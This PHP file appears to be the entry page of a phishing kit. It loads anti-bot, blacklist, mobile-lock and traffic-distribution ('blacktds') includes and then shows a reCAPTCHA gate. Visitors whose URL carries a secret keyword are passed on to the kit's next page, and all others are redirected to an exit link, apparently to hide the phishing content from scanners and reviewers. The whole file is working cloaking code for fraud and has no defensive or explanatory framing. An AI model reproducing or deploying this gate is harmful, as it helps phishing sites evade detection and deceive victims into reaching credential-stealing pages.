<?php
include 'ipanel/inc/config.php';
if ($enable_blacktds == "checked") {
    include "blacktds.php";
}
include 'ipanel/inc/connect.php';
if ($mobile_lock == "checked") {
    include "ipanel/inc/mob_lock.php";
}
include 'ipanel/inc/blacklist.php';
include 'ipanel/inc/gateway.php';
if ($enable_antibots == "checked") {
   include "ipanel/inc/old_blocker.php";
   include 'ipanel/inc/anti.php';
}
session_start();
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];



$url = $_SERVER['REQUEST_URI'];




if($sitekey_enabled== "checked") {

if (preg_match("~\b$sitekey_word\b~", $url)) {


if($captcha_enabled== "checked") {
echo "<html>
<head>
<title>reCAPTCHA</title>
<meta name='viewport' content='width=device-width, viewport-fit=cover, initial-scale=1'>
<script src='https://www.google.com/recaptcha/api.js' async defer></script>
<Script>
function validate_form() {

    const recaptcha_box_checked = (grecaptcha.getResponse()) ? true : false;

    if (recaptcha_box_checked) { 
        return true;
    }
    else {

        return false;
    }
}
	</script>
<script>
function correctCaptcha() {
document.getElementById('treasure').click();
}
</script>
</head>
<style>
    #treasure {
	border: 1px solid #D3D3D3;
	background: #F9F9F9;
	height: 32px;
	width: 170px;
	color: #444;
	border-radius: 2px;
	box-shadow: 0 0 4px 1px rgba(0,0,0,.08);
	-webkit-box-shadow: 0 0 4px 1px rgba(0,0,0,.08);
	-moz-box-shadow: 0 0 4px 1px rgba(0,0,0,.08);
    }
    .text-xs-center {
        text-align: center;
        margin-top: 50%;
    }

    .g-recaptcha {
        display: inline-block;
    }
</style>
<body>
<form id='start_game' action='' method='POST' onsubmit='return validate_form();'>
<div class='text-xs-center'>
<div class='g-recaptcha' data-sitekey='$captcha_key' data-callback='correctCaptcha'></div>
<br/><br/>
<input type='submit' onsubmit='return validate_form();' id='treasure' name='treasure' value='Submit'>
</div>
</form>
<span id='captcha' />
</body>
</html>
";
if (isset($_POST['treasure'])){
    $_SESSION['captcha_finished'] = true;
    echo "<script type='text/javascript'>location.href = '$cfg_url_complete?$sitekey_word';</script>";
}
}
else { echo "<script type='text/javascript'>location.href = '$cfg_url_complete?$sitekey_word';</script>"; }



} else { echo "<script type='text/javascript'>location.href = '$exit_link';</script>";  }











}
else 
{


if($captcha_enabled== "checked") {
echo "<html>
<head>
<title>reCAPTCHA</title>
<meta name='viewport' content='width=device-width, viewport-fit=cover, initial-scale=1'>
<script src='https://www.google.com/recaptcha/api.js' async defer></script>
<Script>
function validate_form() {

    const recaptcha_box_checked = (grecaptcha.getResponse()) ? true : false;

    if (recaptcha_box_checked) { 
        return true;
    }
    else {

        return false;
    }
}
	</script>
<script>
function correctCaptcha() {
document.getElementById('treasure').click();
}
</script>
</head>
<style>
    #treasure {
	border: 1px solid #D3D3D3;
	background: #F9F9F9;
	height: 32px;
	width: 170px;
	color: #444;
	border-radius: 2px;
	box-shadow: 0 0 4px 1px rgba(0,0,0,.08);
	-webkit-box-shadow: 0 0 4px 1px rgba(0,0,0,.08);
	-moz-box-shadow: 0 0 4px 1px rgba(0,0,0,.08);
    }
    .text-xs-center {
        text-align: center;
        margin-top: 50%;
    }

    .g-recaptcha {
        display: inline-block;
    }
</style>
<body>
<form id='start_game' action='' method='POST' onsubmit='return validate_form();'>
<div class='text-xs-center'>
<div class='g-recaptcha' data-sitekey='$captcha_key' data-callback='correctCaptcha'></div>
<br/><br/>
<input type='submit' onsubmit='return validate_form();' id='treasure' name='treasure' value='Submit'>
</div>
</form>
<span id='captcha' />
</body>
</html>
";
if (isset($_POST['treasure'])){
    $_SESSION['captcha_finished'] = true;
    echo "<script type='text/javascript'>location.href = '$cfg_url_complete';</script>";
}
}
else {
echo "<script type='text/javascript'>location.href = '$cfg_url_complete';</script>";
}


}

?>
  
